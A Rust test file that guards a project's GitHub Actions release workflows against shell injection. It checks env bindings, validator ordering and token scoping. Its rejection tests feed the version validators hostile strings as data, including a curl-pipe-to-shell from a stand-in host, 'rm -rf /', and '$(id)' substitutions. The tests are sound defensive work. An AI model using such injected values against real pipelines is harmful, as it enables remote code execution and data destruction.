use std::path::PathBuf;
use std::process::Command;
const RELEASE_YML: &str = include_str!("../.github/workflows/release.yml");
const RELEASE_DEPLOY_YML: &str = include_str!("../.github/workflows/release-deploy.yml");
const CI_YML: &str = include_str!("../.github/workflows/ci.yml");
const SCRIPT: &str = ".github/scripts/validate-custom-version.sh";
const DEPLOY_SCRIPT: &str = ".github/scripts/validate-deploy-inputs.sh";
const WORKFLOWS: [(&str, &str, usize); 3] = [
("release.yml", RELEASE_YML, 10),
("release-deploy.yml", RELEASE_DEPLOY_YML, 8),
("ci.yml", CI_YML, 12),
];
const EXEMPT: [(&str, &str); 0] = [];
fn repo_root() -> PathBuf {
PathBuf::from(env!("CARGO_MANIFEST_DIR"))
}
#[derive(Debug)]
struct RunBody {
line: usize,
text: String,
}
fn indent_of(line: &str) -> usize {
line.len() - line.trim_start().len()
}
fn run_bodies(yaml: &str) -> Vec<RunBody> {
let lines: Vec<&str> = yaml.lines().collect();
let mut bodies = Vec::new();
let mut i = 0;
while i < lines.len() {
let line = lines[i];
let trimmed = line.trim_start();
let Some(rest) = trimmed.strip_prefix("run:") else {
i += 1;
continue;
};
let key_indent = indent_of(line);
let rest = rest.trim();
if rest.starts_with('|') || rest.starts_with('>') {
let mut text = String::new();
let mut j = i + 1;
while j < lines.len() {
let body_line = lines[j];
if !body_line.trim().is_empty() && indent_of(body_line) <= key_indent {
break;
}
text.push_str(body_line);
text.push('\n');
j += 1;
}
bodies.push(RunBody { line: i + 1, text });
i = j;
} else {
bodies.push(RunBody {
line: i + 1,
text: rest.to_string(),
});
i += 1;
}
}
bodies
}
fn without_comments(yaml: &str) -> String {
yaml.lines()
.map(|line| {
if line.trim_start().starts_with('#') {
""
} else {
line
}
})
.collect::<Vec<_>>()
.join("\n")
}
fn step_body<'a>(yaml: &'a str, name: &str) -> &'a str {
let needle = format!("- name: {name}\n");
let at = yaml.find(&needle).unwrap_or_else(|| {
panic!(
"no step named `{name}`. If it was renamed, rename it here too — \
otherwise this test passes by finding nothing"
)
});
let start = yaml[..at].rfind('\n').map_or(0, |i| i + 1);
let key_indent = at - start;
let mut end = at + needle.len();
for line in yaml[end..].split_inclusive('\n') {
if !line.trim().is_empty() && indent_of(line) <= key_indent {
break;
}
end += line.len();
}
&yaml[start..end]
}
fn job_range(yaml: &str, job: &str) -> std::ops::Range<usize> {
let needle = format!("\n {job}:\n");
let at = yaml
.find(&needle)
.unwrap_or_else(|| panic!("no job named `{job}`. If it was renamed, rename it here too"));
let start = at + 1;
let mut end = start + needle.len() - 1;
for line in yaml[end..].split_inclusive('\n') {
if !line.trim().is_empty() && indent_of(line) <= 2 {
break;
}
end += line.len();
}
start..end
}
const FIXTURE: &str = r#"# A comment mentioning ${{ inputs.thing }}, which is not a script.
name: Fixture
on:
workflow_dispatch:
inputs:
thing:
type: string
jobs:
demo:
runs-on: ubuntu-latest
steps:
- name: Bound properly
env:
THING: ${{ inputs.thing }}
run: |
echo "$THING"
- name: Interpolated
run: |
echo "${{ inputs.thing }}"
- name: One-liner
run: echo clean
- name: Uses an action
uses: actions/checkout@v4
with:
ref: ${{ inputs.thing }}
"#;
#[test]
fn the_run_body_parser_sees_an_interpolated_body_and_only_that() {
let bodies = run_bodies(FIXTURE);
assert_eq!(
bodies.len(),
3,
"the fixture has three `run:` bodies — two blocks and a one-liner — and the \
parser found {}: {bodies:#?}",
bodies.len()
);
let interpolated: Vec<usize> = bodies
.iter()
.filter(|b| b.text.contains("${{"))
.map(|b| b.line)
.collect();
assert_eq!(
interpolated.len(),
1,
"the fixture interpolates into exactly one `run:` body; the parser called it \
{interpolated:?}. Either it cannot see an interpolated body, or it mistook \
the comment, the `env:` binding or the `with:` value for one"
);
let clean = bodies
.iter()
.find(|b| b.text.contains("$THING"))
.expect("the parser lost the body that reads the env binding");
assert!(
!clean.text.contains("${{"),
"the `env:` binding above a body leaked into the body: {clean:#?}"
);
assert!(
bodies.iter().any(|b| b.text.trim() == "echo clean"),
"the `run: <command>` one-liner shape was not parsed: {bodies:#?}"
);
}
#[test]
fn no_run_body_in_a_release_workflow_interpolates_a_workflow_expression() {
for (name, yaml, floor) in WORKFLOWS {
let bodies = run_bodies(yaml);
assert!(
bodies.len() >= floor,
"the parser found only {} `run:` bodies in {name}, below the floor of \
{floor}. Either most steps were deleted or the parser stopped working — \
and a parser that finds nothing passes the check below for free",
bodies.len()
);
let offenders: Vec<String> = bodies
.iter()
.filter(|b| b.text.contains("${{"))
.map(|b| format!("line {}:\n{}", b.line, b.text))
.collect();
assert!(
offenders.is_empty(),
"{name} interpolates a workflow expression into a `run:` body. Bind the \
value under `env:` and read it as \"$NAME\" instead — see the rule at the \
top of the file:\n\n{}",
offenders.join("\n")
);
}
}
#[test]
fn every_workflow_in_the_directory_is_accounted_for() {
let dir = repo_root().join(".github/workflows");
let mut on_disk: Vec<String> = std::fs::read_dir(&dir)
.unwrap_or_else(|e| panic!("cannot read {}: {e}", dir.display()))
.map(|entry| entry.expect("a readable directory entry").file_name())
.map(|name| name.to_string_lossy().into_owned())
.filter(|name| name.ends_with(".yml") || name.ends_with(".yaml"))
.collect();
on_disk.sort();
assert!(
!on_disk.is_empty(),
"no workflows found in {} — this test is checking nothing",
dir.display()
);
let named: Vec<&str> = WORKFLOWS
.iter()
.map(|(name, _, _)| *name)
.chain(EXEMPT.iter().map(|(name, _)| *name))
.collect();
let unguarded: Vec<&String> = on_disk
.iter()
.filter(|f| !named.contains(&f.as_str()))
.collect();
assert!(
unguarded.is_empty(),
"{unguarded:?} in .github/workflows/ is in neither WORKFLOWS nor EXEMPT, so \
nothing holds it to the no-interpolation rule. Add it to WORKFLOWS with a \
floor for its `run:` bodies, or to EXEMPT with the reason interpolation is \
legitimate in it"
);
let missing: Vec<&str> = named
.iter()
.filter(|n| !on_disk.iter().any(|f| f.as_str() == **n))
.copied()
.collect();
assert!(
missing.is_empty(),
"{missing:?} is named here but is not in .github/workflows/ — a renamed or \
deleted workflow leaves this list describing a file that no longer exists"
);
}
#[test]
fn custom_version_reaches_the_shell_only_as_an_env_binding() {
let mentions: Vec<(usize, &str)> = RELEASE_YML
.lines()
.enumerate()
.filter(|(_, line)| line.contains("inputs.custom_version"))
.map(|(i, line)| (i + 1, line.trim()))
.collect();
assert!(
!mentions.is_empty(),
"release.yml no longer reads the custom_version input at all, so this test is \
checking nothing"
);
for (line, text) in &mentions {
let bound = text.split_once(": ").is_some_and(|(name, value)| {
!name.is_empty()
&& name.chars().all(|c| c.is_ascii_uppercase() || c == '_')
&& value.trim() == "${{ inputs.custom_version }}"
});
assert!(
bound,
"line {line} uses the custom_version input somewhere other than an `env:` \
binding: {text}"
);
}
}
#[test]
fn the_validator_runs_before_anything_uses_the_version() {
let yaml = without_comments(RELEASE_YML);
let validator = yaml
.find(SCRIPT)
.unwrap_or_else(|| panic!("release.yml no longer calls {SCRIPT}"));
for user in [
"- name: Calculate new version",
"cargo set-version",
"git tag -a",
"git push origin",
] {
let at = yaml.find(user).unwrap_or_else(|| {
panic!(
"release.yml no longer contains `{user}`. If the step was renamed, \
update this list — otherwise this test passes by finding nothing"
)
});
assert!(
validator < at,
"`{user}` comes before the custom_version validator, so the value is used \
before it is judged"
);
}
}
#[test]
fn the_validation_step_binds_the_input_and_passes_it_on() {
let start = RELEASE_YML
.find(" - name: Validate custom_version")
.expect("the validation step was renamed; update this test with it");
let rest = &RELEASE_YML[start + 1..];
let end = rest
.find("\n - name: ")
.expect("the validation step is never closed by another step");
let step = &rest[..end];
assert!(
step.contains("CUSTOM_VERSION: ${{ inputs.custom_version }}"),
"the validation step no longer binds the input, so it is judging something \
else:\n{step}"
);
assert!(
step.contains(SCRIPT) && step.contains("\"$CUSTOM_VERSION\""),
"the validation step no longer passes the bound value to {SCRIPT}:\n{step}"
);
assert!(
!step.contains("if:"),
"the validation step grew an `if:`, so some dispatch reaches the shell \
unjudged:\n{step}"
);
}
fn run_validator(argv: &[&str]) -> std::process::Output {
Command::new("bash")
.arg(repo_root().join(SCRIPT))
.args(argv)
.output()
.expect("bash is available to run the validator")
}
#[test]
fn the_workflow_calls_a_validator_that_exists() {
assert!(
repo_root().join(SCRIPT).exists(),
"{SCRIPT} is gone, and release.yml calls it"
);
assert!(
RELEASE_YML.contains(SCRIPT),
"release.yml no longer calls {SCRIPT}, so nothing judges custom_version before \
the shell sees it"
);
}
#[test]
fn the_validator_accepts_a_version_and_the_empty_value() {
for version in ["1.2.3", "0.8.0", "1.2.3-beta.1", "10.20.30-rc.2", ""] {
let out = run_validator(&[version]);
assert!(
out.status.success(),
"the validator rejected `{version}`, which is a value a real dispatch \
sends:\n{}",
String::from_utf8_lossy(&out.stderr)
);
}
}
#[test]
fn the_validator_rejects_everything_that_is_not_a_version() {
for version in [
"v1.2.3",
"1.2",
"1.2.3.4",
" 1.2.3",
"1.2.3 ",
"latest",
"1.2.3; id",
"$(id)",
"`id`",
"1.2.3\"; curl http://example.invalid/x | sh; \"",
"1.2.3\nrm -rf /",
] {
let out = run_validator(&[version]);
assert_eq!(
out.status.code(),
Some(1),
"the validator answered {:?} for {version:?}; 1 is `not a version`",
out.status.code()
);
}
}
#[test]
fn the_validator_reports_a_usage_error_separately() {
let out = run_validator(&[]);
assert_eq!(
out.status.code(),
Some(2),
"called with no argument the validator answered {:?}; 2 is `wired up wrong`, \
and must stay distinct from 1, `not a version`",
out.status.code()
);
}
const OUTSIDE_VALUES: [&str; 6] = [
"github.event_name",
"github.ref_name",
"inputs.version",
"inputs.tag",
"needs.prepare.outputs.version",
"needs.prepare.outputs.tag",
];
#[test]
fn prepare_checks_out_the_repository_before_it_validates() {
let prepare = &RELEASE_DEPLOY_YML[job_range(RELEASE_DEPLOY_YML, "prepare")];
let checkout = prepare.find("uses: actions/checkout@v4").expect(
"the `prepare` job has no checkout, so the validator it calls is not on disk \
when the step runs",
);
let validator = prepare
.find(DEPLOY_SCRIPT)
.unwrap_or_else(|| panic!("the `prepare` job no longer calls {DEPLOY_SCRIPT}"));
assert!(
checkout < validator,
"the checkout comes after the validator call in `prepare`, so the script is \
not there yet:\n{prepare}"
);
assert!(
!prepare[checkout..validator].contains("ref:"),
"`prepare`'s checkout acquired a `ref:`. It must not have one: the ref it \
would be given is the tag this job exists to judge:\n{prepare}"
);
}
#[test]
fn no_outside_value_reaches_a_run_body_in_release_deploy() {
let bodies = run_bodies(RELEASE_DEPLOY_YML);
for value in OUTSIDE_VALUES {
assert!(
RELEASE_DEPLOY_YML.contains(value),
"release-deploy.yml no longer mentions `{value}` anywhere, so this test is \
checking nothing for it"
);
let offenders: Vec<String> = bodies
.iter()
.filter(|b| b.text.contains(value))
.map(|b| format!("line {}:\n{}", b.line, b.text))
.collect();
assert!(
offenders.is_empty(),
"`{value}` is interpolated into a `run:` body of release-deploy.yml. Bind \
it under `env:` and read it as \"$NAME\":\n\n{}",
offenders.join("\n")
);
}
}
#[test]
fn the_deploy_validator_runs_before_anything_is_written_or_published() {
let yaml = without_comments(RELEASE_DEPLOY_YML);
let validator = yaml
.find(DEPLOY_SCRIPT)
.unwrap_or_else(|| panic!("release-deploy.yml no longer calls {DEPLOY_SCRIPT}"));
for user in [
">> $GITHUB_OUTPUT",
"cargo publish",
"softprops/action-gh-release",
] {
let at = yaml.find(user).unwrap_or_else(|| {
panic!(
"release-deploy.yml no longer contains `{user}`. If it was renamed, \
update this list — otherwise this test passes by finding nothing"
)
});
assert!(
validator < at,
"`{user}` comes before the validator, so the version and tag are acted on \
before they are judged"
);
}
}
#[test]
fn the_deploy_validation_step_binds_every_route_and_passes_both_values() {
let step = step_body(RELEASE_DEPLOY_YML, "Validate version and tag");
for binding in [
"EVENT_NAME: ${{ github.event_name }}",
"REF_NAME: ${{ github.ref_name }}",
"INPUT_VERSION: ${{ inputs.version }}",
"INPUT_TAG: ${{ inputs.tag }}",
] {
assert!(
step.contains(binding),
"the validation step no longer binds `{binding}`, so one route in reaches \
the shell by another means:\n{step}"
);
}
assert!(
step.contains(DEPLOY_SCRIPT) && step.contains("\"$VERSION\" \"$TAG\""),
"the validation step no longer hands both values to {DEPLOY_SCRIPT}:\n{step}"
);
assert!(
!step.contains("if:"),
"the validation step grew an `if:`, so some route reaches the publish \
unjudged:\n{step}"
);
assert!(
step_body(RELEASE_YML, "Update Cargo.toml version").contains("if:"),
"the step reader cannot see an `if:` it is looking at, so the assertion above \
proves nothing"
);
}
#[test]
fn the_registry_token_is_scoped_to_the_publish_job() {
let publish = job_range(RELEASE_DEPLOY_YML, "publish");
let mentions: Vec<usize> = RELEASE_DEPLOY_YML
.match_indices("CARGO_REGISTRY_TOKEN")
.map(|(at, _)| at)
.collect();
assert!(
!mentions.is_empty(),
"release-deploy.yml no longer mentions CARGO_REGISTRY_TOKEN at all. If \
publishing stopped needing it, delete this test with it; otherwise the \
credential is arriving by some other route this test cannot see"
);
let outside: Vec<usize> = mentions
.iter()
.copied()
.filter(|at| !publish.contains(at))
.collect();
assert!(
outside.is_empty(),
"CARGO_REGISTRY_TOKEN is set outside the `publish` job (at {outside:?}; the \
job is bytes {publish:?}). At workflow level it is in the environment of \
every job, including `prepare`, which handles an unjudged tag name and has \
no use for the crates.io credential"
);
}
#[test]
fn the_deploy_validator_delegates_the_grammar_rather_than_restating_it() {
let path = repo_root().join(DEPLOY_SCRIPT);
assert!(
path.exists(),
"{DEPLOY_SCRIPT} is gone, and release-deploy.yml calls it"
);
let script = std::fs::read_to_string(&path).expect("the validator is readable");
assert!(
script.contains("validate-custom-version.sh"),
"{DEPLOY_SCRIPT} no longer delegates to the script that states the version \
grammar"
);
for restatement in ["[0-9]", "=~"] {
assert!(
!script.contains(restatement),
"{DEPLOY_SCRIPT} contains `{restatement}`, which reads like a second copy \
of the version grammar. There is one statement of it, in {SCRIPT}, and \
this script delegates to it"
);
}
}
fn run_deploy_validator(argv: &[&str]) -> std::process::Output {
Command::new("bash")
.arg(repo_root().join(DEPLOY_SCRIPT))
.args(argv)
.output()
.expect("bash is available to run the validator")
}
#[test]
fn the_deploy_validator_accepts_a_version_and_its_tag() {
for (version, tag) in [
("1.2.3", "v1.2.3"),
("0.8.0", "v0.8.0"),
("1.2.3-beta.1", "v1.2.3-beta.1"),
("10.20.30-rc.2", "v10.20.30-rc.2"),
] {
let out = run_deploy_validator(&[version, tag]);
assert!(
out.status.success(),
"the validator rejected `{version}` / `{tag}`, which is what an ordinary \
release sends:\n{}",
String::from_utf8_lossy(&out.stderr)
);
}
}
#[test]
fn the_deploy_validator_rejects_everything_else() {
for (version, tag) in [
("1.2.3\";id;\"", "v1.2.3\";id;\""),
("1.2.3$(id)", "v1.2.3$(id)"),
("1.2.3`id`", "v1.2.3`id`"),
("1.2.3\nversion=9.9.9", "v1.2.3\nversion=9.9.9"),
("", "v"),
("", ""),
("v1.2.3", "vv1.2.3"),
("latest", "vlatest"),
("1.2", "v1.2"),
("0.8.0", "v0.7.0"),
("0.8.0", "0.8.0"),
("0.8.0", "release-0.8.0"),
] {
let out = run_deploy_validator(&[version, tag]);
assert_eq!(
out.status.code(),
Some(1),
"the validator answered {:?} for {version:?} / {tag:?}; 1 is `not usable`",
out.status.code()
);
}
}
#[test]
fn the_deploy_validator_reports_a_usage_error_separately() {
for argv in [&[][..], &["1.2.3"][..], &["1.2.3", "v1.2.3", "extra"][..]] {
let out = run_deploy_validator(argv);
assert_eq!(
out.status.code(),
Some(2),
"called with {argv:?} the validator answered {:?}; 2 is `wired up wrong`, \
and must stay distinct from 1, `not usable`",
out.status.code()
);
}
}
#[test]
fn a_rejection_says_which_value_was_wrong() {
let bad_version = run_deploy_validator(&["v1.2.3", "vv1.2.3"]);
let text = String::from_utf8_lossy(&bad_version.stderr);
assert!(
text.contains("Expected semver"),
"the grammar's own rejection message was swallowed, so the log no longer says \
what a version looks like:\n{text}"
);
let mismatch = run_deploy_validator(&["0.8.0", "v0.7.0"]);
let text = String::from_utf8_lossy(&mismatch.stderr);
assert!(
text.contains("0.8.0") && text.contains("v0.7.0"),
"the mismatch message names neither value, so nobody reading the log can tell \
which of the two was meant:\n{text}"
);
}